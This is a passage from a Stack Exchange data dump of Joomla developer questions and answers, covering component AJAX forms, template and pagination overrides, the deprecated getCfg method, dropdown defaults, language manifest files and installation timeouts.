&lt;code&gt;http://examlpe.com?option=com_yourcomponen&amp;amp;view=linkform&amp;amp;tmpl=ajax&amp;amp;layout=ajax&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A link-controller extending JControllerForm. Possibly override the edit-function for redirect to the link form-view. This will handle input from the links-section on the profile form (create, update and delete). (You might already have this?)&lt;/li&gt;&#xA;&lt;li&gt;A link model for handling the link data. (You might already have this?)&lt;/li&gt;&#xA;&lt;li&gt;Ajax-functionality to load the link form-view on the profile-form. This might be a button calling &lt;code&gt;$.get('index.php', 'option=com_yourcomponen&amp;amp;view=linkform&amp;amp;tmpl=ajax&amp;amp;layout=ajax', function(data){$('#somediv').html(data);})&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ajax to post the data, something like &lt;code&gt;$.post($('#form-link').attr('action'), $('#form-link').serialize(), function(data){$('#otherdiv').html(data);}&lt;/code&gt;, linked to the submit-button of the link - form.&lt;/li&gt;&#xA;&lt;li&gt;Functionality to load existing links on the profile form-view, either using ajax, or load it with the rest of the profile form. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Perhaps you have some of this functionality already. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to be more specific unless you give some more details and some code to work from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have not already done this, I think you would benefit from using a component builder to create a component skeleton for you. The parts where I have written You might already have this, is code that will probably already exists if you have used a component-builder to create your application skeleton. I have been using component-creator.com, it is really good but quite expensive, and probably worth it if this is a commercial project. But I think there are also others. &lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="360" LastEditDate="2016-03-10T06:06:05.490" LastActivityDate="2016-03-10T06:06:05.490" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15542" PostTypeId="2" ParentId="15540" CreationDate="2016-03-05T23:17:18.930" Score="2" Body="&lt;p&gt;You can always override the jomsocial view where you want the article to display, and add a module position there, and then display a module there that shows your artile. Output overrides for jomsocial are slightly different than for other components, but it's explained &lt;a href=&quot;http://documentation.jomsocial.com/wiki/Customizing_Template&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, the most important part quoted below: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Before you can start customizing, you will need to create an Override Folder for JomSocial Component.&#xA;  It seems that there is a lot of confusion regarding what files will go where and how to setup the override folder properly, mostly because the folder structure differs, but if you go trough it once, you will see that this is no rocket science and not something that JomSocial invented. We are just using the things that are available in Joomla:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The very important thing to understand is that Joomla Template Override can only override the current component or module output. What this means, is that if you select the default template in JomSocial Template Settings the override will override the default template. If you select any other template to be used as your JomSocial template, the override folder will override that one. Bottom line, the override folder always override the active component output and is located here:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JOOMLA/templates/yourTemplateName/html/com_community&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you dont have this folder, feel free to create it manually&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, to load the module in the overridden template, do something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHTML::_('content.prepare', '{loadposition position-2}'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wich will load modules in module position-2&lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2016-03-05T23:17:18.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15543" PostTypeId="2" ParentId="15505" CreationDate="2016-03-05T23:34:53.217" Score="0" Body="&lt;p&gt;I can think of three possible reasons: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Hardcoded links in the template files&lt;/li&gt;&#xA;&lt;li&gt;Some parameter setting for the template. This can be changed in the /administrator - interface. &lt;/li&gt;&#xA;&lt;li&gt;Something changed in the defines.php file of the installation. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The defines.php-file, if it exists, should be in the root folder of the joomla installation. It will override the defines.php - file in the /includes - folder. Here you can specify where the templates - folder should be. &lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2016-03-05T23:34:53.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15544" PostTypeId="1" AcceptedAnswerId="15545" CreationDate="2016-03-06T00:01:25.417" Score="2" ViewCount="328" Body="&lt;p&gt;I'm using T3 Mega Menu (JoomlArt Teline template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a module that automatically populates mega menu columns by category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like, to, instead, assign tags to articles, and then auto-populate the mega menu column by the specified tag (i.e. if the article has the specified tag, then list in the menu column (category tag, pic and title)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there is a module available that will do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, where can one be found?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2016-06-24T10:46:17.297" Title="T3 Mega Menu - How to dynamically populate menu column by tag?" Tags="|menu|t3-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15545" PostTypeId="2" ParentId="15544" CreationDate="2016-03-06T03:08:11.993" Score="3" Body="&lt;p&gt;With T3 Mega Menu you can include a module as a menu item as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to &lt;code&gt;Extensions -&amp;gt; Templates&lt;/code&gt; and edit your T3 template&lt;/li&gt;&#xA;&lt;li&gt;click on the &quot;Megamenu&quot; button&lt;/li&gt;&#xA;&lt;li&gt;select your Main Menu or similar&lt;/li&gt;&#xA;&lt;li&gt;click on the menu item under which you wish to add the module&lt;/li&gt;&#xA;&lt;li&gt;set &quot;Submenu&quot; to &quot;On&quot; if it's not already on&lt;/li&gt;&#xA;&lt;li&gt;click in the box that appears&lt;/li&gt;&#xA;&lt;li&gt;select an appropriate module from the module list&lt;/li&gt;&#xA;&lt;li&gt;click on the &quot;Save&quot; button to save&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now all that remains to do is to find a suitable module from the Extensions directory that displays the tags, images and titles in the way you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no such module exists, you could install &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; or similar and create a Custom HTML module with custom code to create exactly what you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will likely need to style the output of the module in a similar fashion to the existing menu styling to make it fit well aesthetically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used a similar strategy of adding modules to &lt;a href=&quot;http://extensions.joomla.org/extension/roknavmenu&quot; rel=&quot;nofollow&quot;&gt;RokNavMenu&lt;/a&gt; to display dynamic menu options based on content in the database.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-06-24T10:46:17.297" LastActivityDate="2016-06-24T10:46:17.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15547" PostTypeId="2" ParentId="15535" CreationDate="2016-03-06T13:43:19.140" Score="1" Body="&lt;p&gt;I already solve my problem &#xA;Here is code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;/// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA; // Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('id','thumbnail')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__hwdms_media'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;$thisitem = $this-&amp;gt;item-&amp;gt;id; // HWD media share this item id &#xA;$objectoarr = json_decode(json_encode($results),true); // Convert stdClass object to array&#xA;&#xA;foreach ($objectoarr as $thumbnail) {&#xA;    if ($thumbnail['id'] == $this-&amp;gt;item-&amp;gt;id) {&#xA;        // Do something with $thumbnail['id'] and $thumbnail['thumbnail']&#xA;      $medthumb = $thumbnail['thumbnail'];&#xA;      echo &quot;&amp;lt;meta itemprop=\&quot;thumbnailUrl\&quot; content=\&quot;$medthumb\&quot;/&amp;gt;&quot;;// &#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5327" LastActivityDate="2016-03-06T13:43:19.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15550" PostTypeId="1" AcceptedAnswerId="15659" CreationDate="2016-03-06T19:42:30.443" Score="1" ViewCount="838" Body="&lt;p&gt;I want to change number of pages displayed in pagination. Currently I have pagination like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;&amp;lt; &amp;lt; 1 2 3 4 5 6 7 8 9 10 &gt; &gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display it like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;&amp;lt; &amp;lt; 1 2 ... 9 10 &gt; &gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do it?&lt;/p&gt;&#xA;" OwnerUserId="2320" LastActivityDate="2016-03-12T20:10:58.033" Title="Changing look of pagination" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15551" PostTypeId="2" ParentId="15550" CreationDate="2016-03-06T22:47:43.500" Score="0" Body="&lt;p&gt;You need to override the default pagination style with your own code. This is done by copying the link.php and links.php files from /layouts/joomla/pagination to your own template /templates/yourtemplate/html/layouts/joomla/pagination. The new files will be used to display pagination links, instead of the default ones. Now you can modify these to your likning. More about overriding joomla output is found here: &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2016-03-06T22:47:43.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15552" PostTypeId="1" AcceptedAnswerId="15553" CreationDate="2016-03-07T01:30:28.187" Score="3" ViewCount="526" Body="&lt;p&gt;What is the newer syntax to replace the deprecated &lt;code&gt;JApplication::getCfg()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs don't specify the replacement in the deprecation notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="3650" LastEditDate="2016-03-08T00:56:08.330" LastActivityDate="2016-03-08T00:56:08.330" Title="JApplication::getCfg deprecated" Tags="|joomla-3.x|deprecated|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15553" PostTypeId="2" ParentId="15552" CreationDate="2016-03-07T04:33:59.393" Score="3" Body="&lt;p&gt;This will get the config settings for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = JFactory::getConfig();&#xA;echo 'Site name is ' . $config-&amp;gt;get( 'sitename' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-07T04:33:59.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15556" PostTypeId="1" AcceptedAnswerId="15557" CreationDate="2016-03-07T08:22:00.253" Score="2" ViewCount="1270" Body="&lt;p&gt;Hi my dropdown getting value from below code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getFloorsHTML() {&#xA;     $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;     $db = JFactory::getDbo();&#xA;     $query = $db-&amp;gt;getQuery(true);&#xA;     $myflrs = $jinput-&amp;gt;get ('fvalue');&#xA;     $query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'f_name')));&#xA;     $query-&amp;gt;from($db-&amp;gt;quoteName('#__pk_flrs'));&#xA;     $query-&amp;gt;where($db-&amp;gt;quoteName('bldg').&quot; = &quot;.$db-&amp;gt;quote($myflrs));&#xA;     $db-&amp;gt;setQuery($query);&#xA;     $results = $db-&amp;gt;loadObjectList();&#xA;     foreach ($results as $result) &#xA;     {&#xA;       echo '&amp;lt;option value=&quot;' . $result-&amp;gt;id . '&quot; &amp;gt; ' . $result-&amp;gt;floor_name.'&amp;lt;/option&amp;gt;'; &#xA;      }&#xA;    exit; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code is working fine but how can i have &quot;Please Select&quot; as default value? &lt;/p&gt;&#xA;" OwnerUserId="7855" LastActivityDate="2016-03-07T17:48:21.237" Title="Dropdown default value" Tags="|php|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15557" PostTypeId="2" ParentId="15556" CreationDate="2016-03-07T08:37:30.253" Score="1" Body="&lt;p&gt;Here is the answer: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;option value=&quot;&quot;&amp;gt;Please Select&amp;lt;/option&amp;gt;';&#xA;foreach ($results as $result) &#xA;{&#xA;   echo '&amp;lt;option value=&quot;' . $result-&amp;gt;id . '&quot; &amp;gt; ' . $result-&amp;gt;floor_name.'&amp;lt;/option&amp;gt;'; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7855" LastActivityDate="2016-03-07T08:37:30.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15559" PostTypeId="2" ParentId="15552" CreationDate="2016-03-07T09:24:26.757" Score="0" Body="&lt;p&gt;That's odd, it does in version 3.4.8, the syntax is the same but the name of the method has been shortened to just &lt;code&gt;get&lt;/code&gt; If you jump to the original class in your IDE this is the old &lt;code&gt;getCfg()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /**&#xA; * Gets a configuration value.&#xA; *&#xA; * @param   string  $varname  The name of the value to get.&#xA; * @param   string  $default  Default value to return&#xA; *&#xA; * @return  mixed  The user state.&#xA; *&#xA; * @since   3.2&#xA; * @deprecated  4.0  Use get() instead&#xA; */&#xA;public function getCfg($varname, $default = null)&#xA;{&#xA;    return $this-&amp;gt;get($varname, $default);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see &lt;code&gt;getCfg('someVarName')&lt;/code&gt; can simply be replaced with &lt;code&gt;get('someVarName')&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2016-03-07T09:24:26.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15560" PostTypeId="1" AcceptedAnswerId="15561" CreationDate="2016-03-07T09:28:09.220" Score="0" ViewCount="614" Body="&lt;p&gt;I would like to load my menues manually in the component layouts. Because of some programmend item detail views, there are no menu items for that views. The consequence is, that the menu is not shown in the items details views and layouts. Therefore I would like to integrate the menu manually inside the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The classic method of loading a Joomla module in a component does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$position = 'positionName';&#xA;$modules =&amp;amp; JModuleHelper::getModules($position); &#xA;foreach ($modules as $module) { &#xA;  echo JModuleHelper::renderModule($module); &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the module settings for the menu, you have to select the specific views, where the module has to be shown. For the programmend item detail views (like the detail view of an item in the administrators backend), there is no specific menu point. If there is no menu point, then you cannot activiate the menu module to be shown in the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if the menu module is not activated for a specific view, than the menu module wont be loaded with the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$position = 'positionName';&#xA;$modules =&amp;amp; JModuleHelper::getModules($position); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how can I load the menu module manually for e.g. by module name?&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2016-03-07T10:15:49.663" Title="Load menu module manually in component layout" Tags="|joomla-3.x|component|menu|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15561" PostTypeId="2" ParentId="15560" CreationDate="2016-03-07T10:15:49.663" Score="2" Body="&lt;p&gt;&lt;strong&gt;JModuleHelper::getModules&lt;/strong&gt; is a handy helper created to load modules in a convenient way. However, it follows certain business rules for CMS consistency. For example, to render modules assigned and published in a specific menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are following different rules, you can implement your own &lt;strong&gt;JModuleHelper&lt;/strong&gt; to load any module and render it.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-07T10:15:49.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15562" PostTypeId="2" ParentId="372" CreationDate="2016-03-07T11:01:27.727" Score="1" Body="&lt;p&gt;I also had same problem. Then I found the solution to do some configuration changes in my php.ini file and joomla's mysql file.&lt;/p&gt;&#xA;&lt;p&gt;The Problem may be occurring because of following reasons -&lt;/p&gt;&#xA;&lt;h1&gt;1. PHP timed out.&lt;/h1&gt;&#xA;&lt;p&gt;Look at your &lt;code&gt;php error log&lt;/code&gt; and it should make this error fairly obvious.&lt;/p&gt;&#xA;&lt;p&gt;So edit your &lt;code&gt;php.ini&lt;/code&gt; file, Go to the directory where php is installed and then find the &lt;strong&gt;php.ini&lt;/strong&gt; file and find the parameter&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;max_execution_time = 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And change it to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;max_execution_time = 200 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then restart Apache.&lt;/p&gt;&#xA;&lt;p&gt;Once the install has completed go back and change it back to a value no more than &lt;code&gt;60&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;2. Engine Type&lt;/h1&gt;&#xA;&lt;p&gt;To fix this problem, go to&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Joomla_root\installation\sql\mysql\Joomla.sql&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;replaced all the occurrence of &lt;strong&gt;ENGINE=InnoDB&lt;/strong&gt; with &lt;strong&gt;ENGINE=MyIsam&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;MyIsam is more supported and compatible with Joomla.&lt;/p&gt;&#xA;&lt;p&gt;Do also the same with (sample_data.sql) file, if it's quickstart setup.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-07T11:01:27.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15563" PostTypeId="1" AcceptedAnswerId="15575" CreationDate="2016-03-07T13:48:47.453" Score="2" ViewCount="1203" Body="&lt;p&gt;I am just trying to create backend component and I can't get the language file to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my xml manifest (the important part):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media destination=&quot;com_displaygroups&quot; folder=&quot;media&quot;&amp;gt;&#xA;  &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;  &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&#xA;&amp;lt;administration&amp;gt;&#xA;  &amp;lt;!-- Administration Menu Section --&amp;gt;&#xA;  &amp;lt;menu link='index.php?option=com_displaygroups'&amp;gt;COM_DISPLAYGROUPS&amp;lt;/menu&amp;gt;&#xA;  &amp;lt;submenu&amp;gt;&#xA;    &amp;lt;menu view=&quot;groups&quot;&amp;gt;COM_DISPLAYGROUPS_BY_GROUPS&amp;lt;/menu&amp;gt;&#xA;    &amp;lt;menu view=&quot;users&quot;&amp;gt;COM_DISPLAYGROUPS_BY_USERS&amp;lt;/menu&amp;gt;&#xA;  &amp;lt;/submenu&amp;gt;&#xA;  &amp;lt;!-- Administration Main File Copy Section --&amp;gt;&#xA;  &amp;lt;!-- Note the folder attribute: This attribute describes the folder&#xA;  to copy FROM in the package to install therefore files copied&#xA;  in this section are copied from /admin/ in the package --&amp;gt;&#xA;  &amp;lt;files folder=&quot;admin&quot;&amp;gt;&#xA;    &amp;lt;!-- Admin Main File Copy Section --&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;displaygroups.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;controller.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;models&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;  &amp;lt;/files&amp;gt;&#xA;  &amp;lt;languages folder=&quot;admin/language&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.com_displaygroups.sys.ini&amp;lt;/language&amp;gt;&#xA;  &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/administration&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just want one language file because that 3 strings in the manifest are all what I need. When I install the component i get the message: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning &#xA;  JInstaller: :Install: File does not exist&#xA;  C:\xampp\htdocs\just-joomla\tmp\install_56dd839e79478\admin\language\en-GB\en-GB.com_displaygroups.sys.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but I can see that Joomla adds language file inside administrator\components\com_displaygroups\language\en-GB\ the en_GB.com_displaygroups.sys.ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what am I doing wrong here? :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit1\&#xA;My file tree inside component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com_displaygroups&#xA;│   displaygroups.xml&#xA;│   tree.txt&#xA;│   &#xA;├───admin&#xA;│   │   controller.php&#xA;│   │   displaygroups.php&#xA;│   │   index.html&#xA;│   │   &#xA;│   ├───language&#xA;│   │   │   index.html&#xA;│   │   │   &#xA;│   │   └───en-GB&#xA;│   │           en_GB.com_displaygroups.sys.ini&#xA;│   │           index.html&#xA;│   │           &#xA;│   ├───models&#xA;│   │       groups.php&#xA;│   │       index.html&#xA;│   │       users.php&#xA;│   │       &#xA;│   ├───sql&#xA;│   │   │   index.html&#xA;│   │   │   &#xA;│   │   └───updates&#xA;│   │       │   index.html&#xA;│   │       │   &#xA;│   │       └───mysql&#xA;│   │               0.0.1.sql&#xA;│   │               index.html&#xA;│   │               &#xA;│   └───views&#xA;│       │   index.html&#xA;│       │   &#xA;│       ├───groups&#xA;│       │   │   index.html&#xA;│       │   │   view.html.php&#xA;│       │   │   &#xA;│       │   └───tmpl&#xA;│       │           default.php&#xA;│       │           index.html&#xA;│       │           &#xA;│       └───users&#xA;│           │   index.html&#xA;│           │   view.html.php&#xA;│           │   &#xA;│           └───tmpl&#xA;│                   default.php&#xA;│                   index.html&#xA;│                   &#xA;└───media&#xA;    │   index.html&#xA;    │   &#xA;    └───css&#xA;            display-style.css&#xA;            index.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7690" LastEditorUserId="3637" LastEditDate="2016-03-10T16:34:37.617" LastActivityDate="2016-03-10T16:34:37.617" Title="Component language file is coppied but does not work" Tags="|language|custom-component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15564" PostTypeId="1" CreationDate="2016-03-07T16:10:20.737" Score="0" ViewCount="424" Body="&lt;p&gt;I am having difficulty on using the language switcher in joomla 3.4.8 followed every step still not working.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to create manual buttons each button will change to the language in question.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create the link to change to french or English or any other loaded language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for something programatically to load like this in module language switcher: &lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo $language-&amp;gt;link;?&amp;gt;&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7951" LastEditorUserId="126" LastEditDate="2017-01-09T17:44:11.470" LastActivityDate="2018-01-05T02:05:04.940" Title="How to initiate a click or link to change language in joomla 3" Tags="|joomla-3.x|multilingual|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15565" PostTypeId="2" ParentId="15564" CreationDate="2016-03-07T16:15:28.043" Score="1" Body="&lt;p&gt;The link has to be like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.yourweb.com/en   (for english)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.yourweb.com/fr  (for french)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you have to have correctly configured your multilanguaje site for them to work.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-03-07T16:15:28.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15566" PostTypeId="2" ParentId="15563" CreationDate="2016-03-07T17:35:28.410" Score="2" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&quot;admin&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB/en-GB.com_displaygroups.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and remove&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the  section of your manifest.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-07T17:35:28.410" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15567" PostTypeId="2" ParentId="15556" CreationDate="2016-03-07T17:48:21.237" Score="1" Body="&lt;p&gt;Just to address some code issues here, instead of using an exit statement in your function you should return the values to the function call and run your loop there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In your default.php file:&#xA;&amp;lt;?php $floors = $model-&amp;gt;getFloorsHTML();?&amp;gt;&#xA;&amp;lt;select name=&quot;floors&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Please Select One&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php foreach($floors as $floor){?&amp;gt;&#xA;        &amp;lt;option value=&quot;&amp;lt;?php echo $floor-&amp;gt;id;?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $floor-&amp;gt;floor_name;?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php }?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;In your model:&#xA;public function getFloorsHTML()&#xA;{&#xA;     $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;     $db = JFactory::getDbo();&#xA;     $query = $db-&amp;gt;getQuery(true);&#xA;     $myflrs = $jinput-&amp;gt;get('fvalue','','int');&#xA;     $query-&amp;gt;select(&quot;id, f_name&quot;);&#xA;     $query-&amp;gt;from(&quot;#__pk_flrs&quot;);&#xA;     $query-&amp;gt;where(&quot;bldg = &quot;.$db-&amp;gt;quote($myflrs));&#xA;     $db-&amp;gt;setQuery($query);&#xA;     $results = $db-&amp;gt;loadObjectList();&#xA;     return $results;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-07T17:48:21.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
